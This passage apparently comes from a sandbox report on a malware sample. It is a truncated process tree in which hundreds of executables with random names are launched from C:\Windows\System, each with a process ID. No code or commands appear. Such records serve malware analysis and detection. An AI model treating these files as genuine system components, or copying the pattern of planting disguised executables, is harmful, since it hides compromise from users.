  PID:8252
- C:\Windows\System\xmpKJVO.exe
  C:\Windows\System\xmpKJVO.exe
  2⤵
  PID:8284
- C:\Windows\System\iCmMAgU.exe
  C:\Windows\System\iCmMAgU.exe
  2⤵
  PID:8316
- C:\Windows\System\GzGcDSz.exe
  C:\Windows\System\GzGcDSz.exe
  2⤵
  PID:8332
- C:\Windows\System\xYZelNg.exe
  C:\Windows\System\xYZelNg.exe
  2⤵
  PID:8348
- C:\Windows\System\hfDcFGx.exe
  C:\Windows\System\hfDcFGx.exe
  2⤵
  PID:8368
- C:\Windows\System\wNtwEWw.exe
  C:\Windows\System\wNtwEWw.exe
  2⤵
  PID:8388
- C:\Windows\System\DKtkRfZ.exe
  C:\Windows\System\DKtkRfZ.exe
  2⤵
  PID:8412
- C:\Windows\System\WMdEjlw.exe
  C:\Windows\System\WMdEjlw.exe
  2⤵
  PID:8432
- C:\Windows\System\KPmjvGK.exe
  C:\Windows\System\KPmjvGK.exe
  2⤵
  PID:8456
- C:\Windows\System\niKbuCn.exe
  C:\Windows\System\niKbuCn.exe
  2⤵
  PID:8480
- C:\Windows\System\zKLhbbn.exe
  C:\Windows\System\zKLhbbn.exe
  2⤵
  PID:8496
- C:\Windows\System\oCCGHlI.exe
  C:\Windows\System\oCCGHlI.exe
  2⤵
  PID:8520
- C:\Windows\System\KhmhzvF.exe
  C:\Windows\System\KhmhzvF.exe
  2⤵
  PID:8548
- C:\Windows\System\XRPZHmg.exe
  C:\Windows\System\XRPZHmg.exe
  2⤵
  PID:8568
- C:\Windows\System\nCOVHYE.exe
  C:\Windows\System\nCOVHYE.exe
  2⤵
  PID:8588
- C:\Windows\System\RKqhfUt.exe
  C:\Windows\System\RKqhfUt.exe
  2⤵
  PID:8616
- C:\Windows\System\EvDiyPw.exe
  C:\Windows\System\EvDiyPw.exe
  2⤵
  PID:8640
- C:\Windows\System\csGGlOM.exe
  C:\Windows\System\csGGlOM.exe
  2⤵
  PID:8656
- C:\Windows\System\FVtzjCe.exe
  C:\Windows\System\FVtzjCe.exe
  2⤵
  PID:8688
- C:\Windows\System\PHLxhPD.exe
  C:\Windows\System\PHLxhPD.exe
  2⤵
  PID:8708
- C:\Windows\System\aaMzKPu.exe
  C:\Windows\System\aaMzKPu.exe
  2⤵
  PID:8732
- C:\Windows\System\uWzuXjY.exe
  C:\Windows\System\uWzuXjY.exe
  2⤵
  PID:8752
- C:\Windows\System\wqjRaJn.exe
  C:\Windows\System\wqjRaJn.exe
  2⤵
  PID:8772
- C:\Windows\System\EmBVKgc.exe
  C:\Windows\System\EmBVKgc.exe
  2⤵
  PID:8800
- C:\Windows\System\SckzRMY.exe
  C:\Windows\System\SckzRMY.exe
  2⤵
  PID:8820
- C:\Windows\System\mfIHRAk.exe
  C:\Windows\System\mfIHRAk.exe
  2⤵
  PID:8840
- C:\Windows\System\fYoDvOy.exe
  C:\Windows\System\fYoDvOy.exe
  2⤵
  PID:8868
- C:\Windows\System\mOXFsWw.exe
  C:\Windows\System\mOXFsWw.exe
  2⤵
  PID:8888
- C:\Windows\System\mrGLixg.exe
  C:\Windows\System\mrGLixg.exe
  2⤵
  PID:8908
- C:\Windows\System\DpONziO.exe
  C:\Windows\System\DpONziO.exe
  2⤵
  PID:8944
- C:\Windows\System\dAaqGfB.exe
  C:\Windows\System\dAaqGfB.exe
  2⤵
  PID:8960
- C:\Windows\System\DdmolQE.exe
  C:\Windows\System\DdmolQE.exe
  2⤵
  PID:8988
- C:\Windows\System\RyCNTQg.exe
  C:\Windows\System\RyCNTQg.exe
  2⤵
  PID:9012
- C:\Windows\System\dIWJiFo.exe
  C:\Windows\System\dIWJiFo.exe
  2⤵
  PID:9032
- C:\Windows\System\NgUNwLl.exe
  C:\Windows\System\NgUNwLl.exe
  2⤵
  PID:9056
- C:\Windows\System\tsKRJQR.exe
  C:\Windows\System\tsKRJQR.exe
  2⤵
  PID:9076
- C:\Windows\System\imejLGZ.exe
  C:\Windows\System\imejLGZ.exe
  2⤵
  PID:9092
- C:\Windows\System\tTXEhpp.exe
  C:\Windows\System\tTXEhpp.exe
  2⤵
  PID:9116
- C:\Windows\System\XVcZLLf.exe
  C:\Windows\System\XVcZLLf.exe
  2⤵
  PID:9136
- C:\Windows\System\NluUYSd.exe
  C:\Windows\System\NluUYSd.exe
  2⤵
  PID:9160
- C:\Windows\System\hadgXpP.exe
  C:\Windows\System\hadgXpP.exe
  2⤵
  PID:9188
- C:\Windows\System\BnyTxko.exe
  C:\Windows\System\BnyTxko.exe
  2⤵
  PID:9208
- C:\Windows\System\XoIVvjz.exe
  C:\Windows\System\XoIVvjz.exe
  2⤵
  PID:7816
- C:\Windows\System\sYJiMTA.exe
  C:\Windows\System\sYJiMTA.exe
  2⤵
  PID:7884
- C:\Windows\System\aOucCfY.exe
  C:\Windows\System\aOucCfY.exe
  2⤵
  PID:7952
- C:\Windows\System\RKHrAMt.exe
  C:\Windows\System\RKHrAMt.exe
  2⤵
  PID:8012
- C:\Windows\System\ysetYfM.exe
  C:\Windows\System\ysetYfM.exe
  2⤵
  PID:7348
- C:\Windows\System\ROobrNR.exe
  C:\Windows\System\ROobrNR.exe
  2⤵
  PID:8092
- C:\Windows\System\rmLlDMm.exe
  C:\Windows\System\rmLlDMm.exe
  2⤵
  PID:8108
- C:\Windows\System\NgMgWgP.exe
  C:\Windows\System\NgMgWgP.exe
  2⤵
  PID:8176
- C:\Windows\System\pKZKVqP.exe
  C:\Windows\System\pKZKVqP.exe
  2⤵
  PID:6516
- C:\Windows\System\jHzOVKS.exe
  C:\Windows\System\jHzOVKS.exe
  2⤵
  PID:7540
- C:\Windows\System\PfdKoMu.exe
  C:\Windows\System\PfdKoMu.exe
  2⤵
  PID:6896
- C:\Windows\System\CLKLfYZ.exe
  C:\Windows\System\CLKLfYZ.exe
  2⤵
  PID:7048
- C:\Windows\System\VEvadwk.exe
  C:\Windows\System\VEvadwk.exe
  2⤵
  PID:6868
- C:\Windows\System\KRcHzvY.exe
  C:\Windows\System\KRcHzvY.exe
  2⤵
  PID:7172
- C:\Windows\System\hhunpjq.exe
  C:\Windows\System\hhunpjq.exe
  2⤵
  PID:6472
- C:\Windows\System\nldUQqh.exe
  C:\Windows\System\nldUQqh.exe
  2⤵
  PID:6412
- C:\Windows\System\HLSMwvB.exe
  C:\Windows\System\HLSMwvB.exe
  2⤵
  PID:8228
- C:\Windows\System\CeUHMBS.exe
  C:\Windows\System\CeUHMBS.exe
  2⤵
  PID:8292
- C:\Windows\System\Ebmcgve.exe
  C:\Windows\System\Ebmcgve.exe
  2⤵
  PID:7932
- C:\Windows\System\KZodSLP.exe
  C:\Windows\System\KZodSLP.exe
  2⤵
  PID:8328
- C:\Windows\System\DUteiFG.exe
  C:\Windows\System\DUteiFG.exe
  2⤵
  PID:8384
- C:\Windows\System\czGTuyF.exe
  C:\Windows\System\czGTuyF.exe
  2⤵
  PID:7352
- C:\Windows\System\ogFlgld.exe
  C:\Windows\System\ogFlgld.exe
  2⤵
  PID:8516
- C:\Windows\System\zIaWjzS.exe
  C:\Windows\System\zIaWjzS.exe
  2⤵
  PID:8064
- C:\Windows\System\AOhxeYe.exe
  C:\Windows\System\AOhxeYe.exe
  2⤵
  PID:8648
- C:\Windows\System\oPYqNea.exe
  C:\Windows\System\oPYqNea.exe
  2⤵
  PID:7436
- C:\Windows\System\VdacHOG.exe
  C:\Windows\System\VdacHOG.exe
  2⤵
  PID:8684
- C:\Windows\System\NsOVJGN.exe
  C:\Windows\System\NsOVJGN.exe
  2⤵
  PID:8704
- C:\Windows\System\VFopoES.exe
  C:\Windows\System\VFopoES.exe
  2⤵
  PID:8744
- C:\Windows\System\QWlvbpQ.exe
  C:\Windows\System\QWlvbpQ.exe
  2⤵
  PID:8812
- C:\Windows\System\shDAouH.exe
  C:\Windows\System\shDAouH.exe
  2⤵
  PID:7656
- C:\Windows\System\XKlRZXV.exe
  C:\Windows\System\XKlRZXV.exe
  2⤵
  PID:8884
- C:\Windows\System\dcHZXns.exe
  C:\Windows\System\dcHZXns.exe
  2⤵
  PID:6892
- C:\Windows\System\zggOTpu.exe
  C:\Windows\System\zggOTpu.exe
  2⤵
  PID:8952
- C:\Windows\System\dlAUIXr.exe
  C:\Windows\System\dlAUIXr.exe
  2⤵
  PID:7028
- C:\Windows\System\XbXMOdi.exe
  C:\Windows\System\XbXMOdi.exe
  2⤵
  PID:9088
- C:\Windows\System\JXmYPKd.exe
  C:\Windows\System\JXmYPKd.exe
  2⤵
  PID:9232
- C:\Windows\System\SJEmhQW.exe
  C:\Windows\System\SJEmhQW.exe
  2⤵
  PID:9256
- C:\Windows\System\XZHzFWR.exe
  C:\Windows\System\XZHzFWR.exe
  2⤵
  PID:9280
- C:\Windows\System\REWBJJm.exe
  C:\Windows\System\REWBJJm.exe
  2⤵
  PID:9304
- C:\Windows\System\ROeXpkW.exe
  C:\Windows\System\ROeXpkW.exe
  2⤵
  PID:9328
- C:\Windows\System\oQXieIK.exe
  C:\Windows\System\oQXieIK.exe
  2⤵
  PID:9356
- C:\Windows\System\IrNLISy.exe
  C:\Windows\System\IrNLISy.exe
  2⤵
  PID:9376
- C:\Windows\System\fFWeEas.exe
  C:\Windows\System\fFWeEas.exe
  2⤵
  PID:9396
- C:\Windows\System\vaCxmNk.exe
  C:\Windows\System\vaCxmNk.exe
  2⤵
  PID:9424
- C:\Windows\System\HuZBDis.exe
  C:\Windows\System\HuZBDis.exe
  2⤵
  PID:9444
- C:\Windows\System\RnmIUDV.exe
  C:\Windows\System\RnmIUDV.exe
  2⤵
  PID:9464
- C:\Windows\System\WQDABfk.exe
  C:\Windows\System\WQDABfk.exe
  2⤵
  PID:9484
- C:\Windows\System\HyMGRlw.exe
  C:\Windows\System\HyMGRlw.exe
  2⤵
  PID:9504
- C:\Windows\System\ayJclmP.exe
  C:\Windows\System\ayJclmP.exe
  2⤵
  PID:9524
- C:\Windows\System\tevHkXa.exe
  C:\Windows\System\tevHkXa.exe
  2⤵
  PID:9544
- C:\Windows\System\rkKZggR.exe
  C:\Windows\System\rkKZggR.exe
  2⤵
  PID:9568
- C:\Windows\System\gwujaQu.exe
  C:\Windows\System\gwujaQu.exe
  2⤵
  PID:9592
- C:\Windows\System\LJvxrIo.exe
  C:\Windows\System\LJvxrIo.exe
  2⤵
  PID:9616
- C:\Windows\System\umHTNTU.exe
  C:\Windows\System\umHTNTU.exe
  2⤵
  PID:9636
- C:\Windows\System\kdwwwpc.exe
  C:\Windows\System\kdwwwpc.exe
  2⤵
  PID:9664
- C:\Windows\System\SzFGvWt.exe
  C:\Windows\System\SzFGvWt.exe
  2⤵
  PID:9684
- C:\Windows\System\aeqFkNx.exe
  C:\Windows\System\aeqFkNx.exe
  2⤵
  PID:9704
- C:\Windows\System\WSApioJ.exe
  C:\Windows\System\WSApioJ.exe
  2⤵
  PID:9724
- C:\Windows\System\oNYgEND.exe
  C:\Windows\System\oNYgEND.exe
  2⤵
  PID:9748
- C:\Windows\System\BUhfLdv.exe
  C:\Windows\System\BUhfLdv.exe
  2⤵
  PID:9772
- C:\Windows\System\tzwsfPg.exe
  C:\Windows\System\tzwsfPg.exe
  2⤵
  PID:9792
- C:\Windows\System\XoEHqdn.exe
  C:\Windows\System\XoEHqdn.exe
  2⤵
  PID:9824
- C:\Windows\System\pRQUNHT.exe
  C:\Windows\System\pRQUNHT.exe
  2⤵
  PID:9840
- C:\Windows\System\uoYoJXb.exe
  C:\Windows\System\uoYoJXb.exe
  2⤵
  PID:9856
- C:\Windows\System\LjcKgsy.exe
  C:\Windows\System\LjcKgsy.exe
  2⤵
  PID:9880
- C:\Windows\System\cypPzog.exe
  C:\Windows\System\cypPzog.exe
  2⤵
  PID:9904
- C:\Windows\System\IYCIQAz.exe
  C:\Windows\System\IYCIQAz.exe
  2⤵
  PID:9920
- C:\Windows\System\CzvynIb.exe
  C:\Windows\System\CzvynIb.exe
  2⤵
  PID:9944
- C:\Windows\System\CKlKcAW.exe
  C:\Windows\System\CKlKcAW.exe
  2⤵
  PID:9972
- C:\Windows\System\ozDJpTN.exe
  C:\Windows\System\ozDJpTN.exe
  2⤵
  PID:9988
- C:\Windows\System\NsWXlVP.exe
  C:\Windows\System\NsWXlVP.exe
  2⤵
  PID:10008
- C:\Windows\System\LFYuDBO.exe
  C:\Windows\System\LFYuDBO.exe
  2⤵
  PID:10032
- C:\Windows\System\SngmNLr.exe
  C:\Windows\System\SngmNLr.exe
  2⤵
  PID:10060
- C:\Windows\System\eROlcye.exe
  C:\Windows\System\eROlcye.exe
  2⤵
  PID:10084
- C:\Windows\System\hRiqfrj.exe
  C:\Windows\System\hRiqfrj.exe
  2⤵
  PID:10104
- C:\Windows\System\oYwUiGZ.exe
  C:\Windows\System\oYwUiGZ.exe
  2⤵
  PID:10124
- C:\Windows\System\btxnTtL.exe
  C:\Windows\System\btxnTtL.exe
  2⤵
  PID:10148
- C:\Windows\System\gYaNhAq.exe
  C:\Windows\System\gYaNhAq.exe
  2⤵
  PID:10172
- C:\Windows\System\dHkaqIZ.exe
  C:\Windows\System\dHkaqIZ.exe
  2⤵
  PID:10196
- C:\Windows\System\jDiJDwT.exe
  C:\Windows\System\jDiJDwT.exe
  2⤵
  PID:10216
- C:\Windows\System\NfwHSyA.exe
  C:\Windows\System\NfwHSyA.exe
  2⤵
  PID:10232
- C:\Windows\System\KJxMGda.exe
  C:\Windows\System\KJxMGda.exe
  2⤵
  PID:9200
- C:\Windows\System\SFyRsap.exe
  C:\Windows\System\SFyRsap.exe
  2⤵
  PID:8428
- C:\Windows\System\TgxKNhg.exe
  C:\Windows\System\TgxKNhg.exe
  2⤵
  PID:8036
- C:\Windows\System\UNCHixV.exe
  C:\Windows\System\UNCHixV.exe
  2⤵
  PID:7132
- C:\Windows\System\fTTupcZ.exe
  C:\Windows\System\fTTupcZ.exe
  2⤵
  PID:8760
- C:\Windows\System\NYNhiKR.exe
  C:\Windows\System\NYNhiKR.exe
  2⤵
  PID:6744
- C:\Windows\System\PtcnlQU.exe
  C:\Windows\System\PtcnlQU.exe
  2⤵
  PID:7724
- C:\Windows\System\ywRxiyu.exe
  C:\Windows\System\ywRxiyu.exe
  2⤵
  PID:6976
- C:\Windows\System\Snzxgab.exe
  C:\Windows\System\Snzxgab.exe
  2⤵
  PID:8848
- C:\Windows\System\OEDxYeQ.exe
  C:\Windows\System\OEDxYeQ.exe
  2⤵
  PID:7972
- C:\Windows\System\fhfRQcR.exe
  C:\Windows\System\fhfRQcR.exe
  2⤵
  PID:8380
- C:\Windows\System\YLIqOfB.exe
  C:\Windows\System\YLIqOfB.exe
  2⤵
  PID:7480
- C:\Windows\System\aEJEsoG.exe
  C:\Windows\System\aEJEsoG.exe
  2⤵
  PID:7088
- C:\Windows\System\cyLASxB.exe
  C:\Windows\System\cyLASxB.exe
  2⤵
  PID:8768
- C:\Windows\System\hZqSyBp.exe
  C:\Windows\System\hZqSyBp.exe
  2⤵
  PID:8980
- C:\Windows\System\hoSfMIX.exe
  C:\Windows\System\hoSfMIX.exe
  2⤵
  PID:10268
- C:\Windows\System\WEVPGVJ.exe
  C:\Windows\System\WEVPGVJ.exe
  2⤵
  PID:10296
- C:\Windows\System\ViQGXeX.exe
  C:\Windows\System\ViQGXeX.exe
  2⤵
  PID:10324
- C:\Windows\System\YIAAAeq.exe
  C:\Windows\System\YIAAAeq.exe
  2⤵
  PID:10340
- C:\Windows\System\EupHrJH.exe
  C:\Windows\System\EupHrJH.exe
  2⤵
  PID:10360
- C:\Windows\System\aJISKQi.exe
  C:\Windows\System\aJISKQi.exe
  2⤵
  PID:10384
- C:\Windows\System\zghkIGh.exe
  C:\Windows\System\zghkIGh.exe
  2⤵
  PID:10404
- C:\Windows\System\vxSzvwf.exe
  C:\Windows\System\vxSzvwf.exe
  2⤵
  PID:10424
- C:\Windows\System\EnZaeyJ.exe
  C:\Windows\System\EnZaeyJ.exe
  2⤵
  PID:10448
- C:\Windows\System\NqZkBTy.exe
  C:\Windows\System\NqZkBTy.exe
  2⤵
  PID:10468
- C:\Windows\System\cKTBjEO.exe
  C:\Windows\System\cKTBjEO.exe
  2⤵
  PID:10496
- C:\Windows\System\pfRobJZ.exe
  C:\Windows\System\pfRobJZ.exe
  2⤵
  PID:10520
- C:\Windows\System\nKfGLFC.exe
  C:\Windows\System\nKfGLFC.exe
  2⤵
  PID:10544
- C:\Windows\System\YYvvZJF.exe
  C:\Windows\System\YYvvZJF.exe
  2⤵
  PID:10564
- C:\Windows\System\hLiItLp.exe
  C:\Windows\System\hLiItLp.exe
  2⤵
  PID:10592
- C:\Windows\System\QLYVzlK.exe
  C:\Windows\System\QLYVzlK.exe
  2⤵
  PID:10616
- C:\Windows\System\trLtcdo.exe
  C:\Windows\System\trLtcdo.exe
  2⤵
  PID:10632
- C:\Windows\System\SowbGek.exe
  C:\Windows\System\SowbGek.exe
  2⤵
  PID:10656
- C:\Windows\System\bAvSKiS.exe
  C:\Windows\System\bAvSKiS.exe
  2⤵
  PID:10680
- C:\Windows\System\OSLuTnG.exe
  C:\Windows\System\OSLuTnG.exe
  2⤵
  PID:10700
- C:\Windows\System\AdybZaI.exe
  C:\Windows\System\AdybZaI.exe
  2⤵
  PID:10720
- C:\Windows\System\jMpWcGe.exe
  C:\Windows\System\jMpWcGe.exe
  2⤵
  PID:10748
- C:\Windows\System\lilaLlN.exe
  C:\Windows\System\lilaLlN.exe
  2⤵
  PID:10772
- C:\Windows\System\UphTefD.exe
  C:\Windows\System\UphTefD.exe
  2⤵
  PID:10792
- C:\Windows\System\GVOnrtb.exe
  C:\Windows\System\GVOnrtb.exe
  2⤵
  PID:10964
- C:\Windows\System\whRglLj.exe
  C:\Windows\System\whRglLj.exe
  2⤵
  PID:10996
- C:\Windows\System\nbZzSMz.exe
  C:\Windows\System\nbZzSMz.exe
  2⤵
  PID:11012
- C:\Windows\System\HoGzIba.exe
  C:\Windows\System\HoGzIba.exe
  2⤵
  PID:11036
- C:\Windows\System\YbgTzFI.exe
  C:\Windows\System\YbgTzFI.exe
  2⤵
  PID:11056
- C:\Windows\System\wEMIytS.exe
  C:\Windows\System\wEMIytS.exe
  2⤵
  PID:11072
- C:\Windows\System\nDxApkT.exe
  C:\Windows\System\nDxApkT.exe
  2⤵
  PID:11092
- C:\Windows\System\ePxzmbt.exe
  C:\Windows\System\ePxzmbt.exe
  2⤵
  PID:11120
- C:\Windows\System\unFkDsO.exe
  C:\Windows\System\unFkDsO.exe
  2⤵
  PID:11140
- C:\Windows\System\zwfyYOt.exe
  C:\Windows\System\zwfyYOt.exe
  2⤵
  PID:11160
- C:\Windows\System\LwVXmrX.exe
  C:\Windows\System\LwVXmrX.exe
  2⤵
  PID:11188
- C:\Windows\System\yLpufQd.exe
  C:\Windows\System\yLpufQd.exe
  2⤵
  PID:11212
- C:\Windows\System\VBlubco.exe
  C:\Windows\System\VBlubco.exe
  2⤵
  PID:11236
- C:\Windows\System\JYszlgb.exe
  C:\Windows\System\JYszlgb.exe
  2⤵
  PID:11260
- C:\Windows\System\rjSHpeo.exe
  C:\Windows\System\rjSHpeo.exe
  2⤵
  PID:9364
- C:\Windows\System\ooxawhh.exe
  C:\Windows\System\ooxawhh.exe
  2⤵
  PID:9392
- C:\Windows\System\IgGRAUT.exe
  C:\Windows\System\IgGRAUT.exe
  2⤵
  PID:9132
- C:\Windows\System\fmxvHxK.exe
  C:\Windows\System\fmxvHxK.exe
  2⤵
  PID:9180
- C:\Windows\System\YIPDlFD.exe
  C:\Windows\System\YIPDlFD.exe
  2⤵
  PID:8464
- C:\Windows\System\yGNkVDY.exe
  C:\Windows\System\yGNkVDY.exe
  2⤵
  PID:8512
- C:\Windows\System\mkhUzon.exe
  C:\Windows\System\mkhUzon.exe
  2⤵
  PID:8576
- C:\Windows\System\OxCurkW.exe
  C:\Windows\System\OxCurkW.exe
  2⤵
  PID:9672
- C:\Windows\System\UEhZTui.exe
  C:\Windows\System\UEhZTui.exe
  2⤵
  PID:8628
- C:\Windows\System\VydybXW.exe
  C:\Windows\System\VydybXW.exe
  2⤵
  PID:5604
- C:\Windows\System\RItVCio.exe
  C:\Windows\System\RItVCio.exe
  2⤵
  PID:7548
- C:\Windows\System\uvDUMAb.exe
  C:\Windows\System\uvDUMAb.exe
  2⤵
  PID:8748
- C:\Windows\System\WexHKpN.exe
  C:\Windows\System\WexHKpN.exe
  2⤵
  PID:7704
- C:\Windows\System\Loaglcm.exe
  C:\Windows\System\Loaglcm.exe
  2⤵
  PID:9956
- C:\Windows\System\eFdOCtO.exe
  C:\Windows\System\eFdOCtO.exe
  2⤵
  PID:10000
- C:\Windows\System\yzVRrWZ.exe
  C:\Windows\System\yzVRrWZ.exe
  2⤵
  PID:10052
- C:\Windows\System\JkPnAbw.exe
  C:\Windows\System\JkPnAbw.exe
  2⤵
  PID:10116
- C:\Windows\System\wrFQjFY.exe
  C:\Windows\System\wrFQjFY.exe
  2⤵
  PID:8424
- C:\Windows\System\QpiqUCu.exe
  C:\Windows\System\QpiqUCu.exe
  2⤵
  PID:8932
- C:\Windows\System\ocnhxkR.exe
  C:\Windows\System\ocnhxkR.exe
  2⤵
  PID:6316
- C:\Windows\System\fhRzIBJ.exe
  C:\Windows\System\fhRzIBJ.exe
  2⤵
  PID:7148
- C:\Windows\System\suTWOyM.exe
  C:\Windows\System\suTWOyM.exe
  2⤵
  PID:8896
- C:\Windows\System\xLxKZZL.exe
  C:\Windows\System\xLxKZZL.exe
  2⤵
  PID:8996
- C:\Windows\System\vIfappM.exe
  C:\Windows\System\vIfappM.exe
  2⤵
  PID:9272
- C:\Windows\System\fRHKEYR.exe
  C:\Windows\System\fRHKEYR.exe
  2⤵
  PID:9320
- C:\Windows\System\quTjVQT.exe
  C:\Windows\System\quTjVQT.exe
  2⤵
  PID:10356
- C:\Windows\System\IVtqXyu.exe
  C:\Windows\System\IVtqXyu.exe
  2⤵
  PID:10412
- C:\Windows\System\MLsuSXk.exe
  C:\Windows\System\MLsuSXk.exe
  2⤵
  PID:11272
- C:\Windows\System\QqtShrC.exe
  C:\Windows\System\QqtShrC.exe
  2⤵
  PID:11300
- C:\Windows\System\irSbfGw.exe
  C:\Windows\System\irSbfGw.exe
  2⤵
  PID:11320
- C:\Windows\System\bbZhJEh.exe
  C:\Windows\System\bbZhJEh.exe
  2⤵
  PID:11340
- C:\Windows\System\VJZXttB.exe
  C:\Windows\System\VJZXttB.exe
  2⤵
  PID:11360
- C:\Windows\System\TCvMPww.exe
  C:\Windows\System\TCvMPww.exe
  2⤵
  PID:11384
- C:\Windows\System\GINwQgd.exe
  C:\Windows\System\GINwQgd.exe
  2⤵
  PID:11408
- C:\Windows\System\IbbvHmJ.exe
  C:\Windows\System\IbbvHmJ.exe
  2⤵
  PID:11428
- C:\Windows\System\DJMAKJT.exe
  C:\Windows\System\DJMAKJT.exe
  2⤵
  PID:11448
- C:\Windows\System\xrYlIKU.exe
  C:\Windows\System\xrYlIKU.exe
  2⤵
  PID:11472
- C:\Windows\System\vVJZTDk.exe
  C:\Windows\System\vVJZTDk.exe
  2⤵
  PID:11488
- C:\Windows\System\AFkuLUk.exe
  C:\Windows\System\AFkuLUk.exe
  2⤵
  PID:11512
- C:\Windows\System\iFmpPfU.exe
  C:\Windows\System\iFmpPfU.exe
  2⤵
  PID:11536
- C:\Windows\System\hOipJRu.exe
  C:\Windows\System\hOipJRu.exe
  2⤵
  PID:11560
- C:\Windows\System\TDdQAaN.exe
  C:\Windows\System\TDdQAaN.exe
  2⤵
  PID:11588
- C:\Windows\System\EBmwAro.exe
  C:\Windows\System\EBmwAro.exe
  2⤵
  PID:11608
- C:\Windows\System\gmqPQFn.exe
  C:\Windows\System\gmqPQFn.exe
  2⤵
  PID:11624
- C:\Windows\System\GKopZqO.exe
  C:\Windows\System\GKopZqO.exe
  2⤵
  PID:11644
- C:\Windows\System\MSMPLCc.exe
  C:\Windows\System\MSMPLCc.exe
  2⤵
  PID:11660
- C:\Windows\System\DztwHUS.exe
  C:\Windows\System\DztwHUS.exe
  2⤵
  PID:11676
- C:\Windows\System\cePoxsz.exe
  C:\Windows\System\cePoxsz.exe
  2⤵
  PID:11692
- C:\Windows\System\AJAwJuL.exe
  C:\Windows\System\AJAwJuL.exe
  2⤵
  PID:11712
- C:\Windows\System\syDZoso.exe
  C:\Windows\System\syDZoso.exe
  2⤵
  PID:11748
- C:\Windows\System\mprrhAr.exe
  C:\Windows\System\mprrhAr.exe
  2⤵
  PID:11772
- C:\Windows\System\XbsiQDV.exe
  C:\Windows\System\XbsiQDV.exe
  2⤵
  PID:11792
- C:\Windows\System\OvPIlvy.exe
  C:\Windows\System\OvPIlvy.exe
  2⤵
  PID:11816
- C:\Windows\System\kKQOunL.exe
  C:\Windows\System\kKQOunL.exe
  2⤵
  PID:11844
- C:\Windows\System\QnGbVkI.exe
  C:\Windows\System\QnGbVkI.exe
  2⤵
  PID:11864
- C:\Windows\System\KsVvMcz.exe
  C:\Windows\System\KsVvMcz.exe
  2⤵
  PID:11892
- C:\Windows\System\nvtpgxv.exe
  C:\Windows\System\nvtpgxv.exe
  2⤵
  PID:11924
- C:\Windows\System\YpajPAr.exe
  C:\Windows\System\YpajPAr.exe
  2⤵
  PID:11948
- C:\Windows\System\YdqtrUA.exe
  C:\Windows\System\YdqtrUA.exe
  2⤵
  PID:11972
- C:\Windows\System\kHrGQBO.exe
  C:\Windows\System\kHrGQBO.exe
  2⤵
  PID:11992
- C:\Windows\System\ZsQzxZt.exe
  C:\Windows\System\ZsQzxZt.exe
  2⤵
  PID:12016
- C:\Windows\System\yJTnUwp.exe
  C:\Windows\System\yJTnUwp.exe
  2⤵
  PID:12040
- C:\Windows\System\uXsxLdX.exe
  C:\Windows\System\uXsxLdX.exe
  2⤵
  PID:12064
- C:\Windows\System\xnNjONE.exe
  C:\Windows\System\xnNjONE.exe
  2⤵
  PID:12104
- C:\Windows\System\CVMGkpe.exe
  C:\Windows\System\CVMGkpe.exe
  2⤵
  PID:12120
- C:\Windows\System\GXpnaZB.exe
  C:\Windows\System\GXpnaZB.exe
  2⤵
  PID:12160
- C:\Windows\System\qjsVIkN.exe
  C:\Windows\System\qjsVIkN.exe
  2⤵
  PID:12184
- C:\Windows\System\yCXiJaP.exe
  C:\Windows\System\yCXiJaP.exe
  2⤵
  PID:12204
- C:\Windows\System\vYtSwOB.exe
  C:\Windows\System\vYtSwOB.exe
  2⤵
  PID:12232
- C:\Windows\System\cdAClTO.exe
  C:\Windows\System\cdAClTO.exe
  2⤵
  PID:12256
- C:\Windows\System\GvTEvJD.exe
  C:\Windows\System\GvTEvJD.exe
  2⤵
  PID:12280
- C:\Windows\System\czroCfY.exe
  C:\Windows\System\czroCfY.exe
  2⤵
  PID:10436
- C:\Windows\System\JVtgNCI.exe
  C:\Windows\System\JVtgNCI.exe
  2⤵
  PID:10460
- C:\Windows\System\BTaHGjl.exe
  C:\Windows\System\BTaHGjl.exe
  2⤵
  PID:10556
- C:\Windows\System\QLmNnWk.exe
  C:\Windows\System\QLmNnWk.exe
  2⤵
  PID:9628
- C:\Windows\System\HAToJdR.exe
  C:\Windows\System\HAToJdR.exe
  2⤵
  PID:9756
- C:\Windows\System\pgFrfYQ.exe
  C:\Windows\System\pgFrfYQ.exe
  2⤵
  PID:9872
- C:\Windows\System\zGjUnGl.exe
  C:\Windows\System\zGjUnGl.exe
  2⤵
  PID:10096
- C:\Windows\System\uOWRWzc.exe
  C:\Windows\System\uOWRWzc.exe
  2⤵
  PID:10160
- C:\Windows\System\YZDNGoD.exe
  C:\Windows\System\YZDNGoD.exe
  2⤵
  PID:10212
- C:\Windows\System\TzXSWlY.exe
  C:\Windows\System\TzXSWlY.exe
  2⤵
  PID:11008
- C:\Windows\System\nERZNXo.exe
  C:\Windows\System\nERZNXo.exe
  2⤵
  PID:8104
- C:\Windows\System\eMbJBss.exe
  C:\Windows\System\eMbJBss.exe
  2⤵
  PID:8132
- C:\Windows\System\AkGOien.exe
  C:\Windows\System\AkGOien.exe
  2⤵
  PID:11152
- C:\Windows\System\sMUvuSu.exe
  C:\Windows\System\sMUvuSu.exe
  2⤵
  PID:7456
- C:\Windows\System\lkHSZUV.exe
  C:\Windows\System\lkHSZUV.exe
  2⤵
  PID:8792
- C:\Windows\System\AWJVIRW.exe
  C:\Windows\System\AWJVIRW.exe
  2⤵
  PID:7240
- C:\Windows\System\cxiObCt.exe
  C:\Windows\System\cxiObCt.exe
  2⤵
  PID:9104
- C:\Windows\System\DwaZNQO.exe
  C:\Windows\System\DwaZNQO.exe
  2⤵
  PID:9172
- C:\Windows\System\hNLlUkd.exe
  C:\Windows\System\hNLlUkd.exe
  2⤵
  PID:8492
- C:\Windows\System\ZXkwUbo.exe
  C:\Windows\System\ZXkwUbo.exe
  2⤵
  PID:7984
- C:\Windows\System\vQRVufY.exe
  C:\Windows\System\vQRVufY.exe
  2⤵
  PID:8448
- C:\Windows\System\CjTklTI.exe
  C:\Windows\System\CjTklTI.exe
  2⤵
  PID:9768
- C:\Windows\System\rLQzbJm.exe
  C:\Windows\System\rLQzbJm.exe
  2⤵
  PID:7708
- C:\Windows\System\QHbaWHY.exe
  C:\Windows\System\QHbaWHY.exe
  2⤵
  PID:10040
- C:\Windows\System\TLivxNT.exe
  C:\Windows\System\TLivxNT.exe
  2⤵
  PID:9228
- C:\Windows\System\NMTPGPQ.exe
  C:\Windows\System\NMTPGPQ.exe
  2⤵
  PID:6336
- C:\Windows\System\npSQFVn.exe
  C:\Windows\System\npSQFVn.exe
  2⤵
  PID:12292
- C:\Windows\System\YUWbiFh.exe
  C:\Windows\System\YUWbiFh.exe
  2⤵
  PID:12316
- C:\Windows\System\GqBxaMg.exe
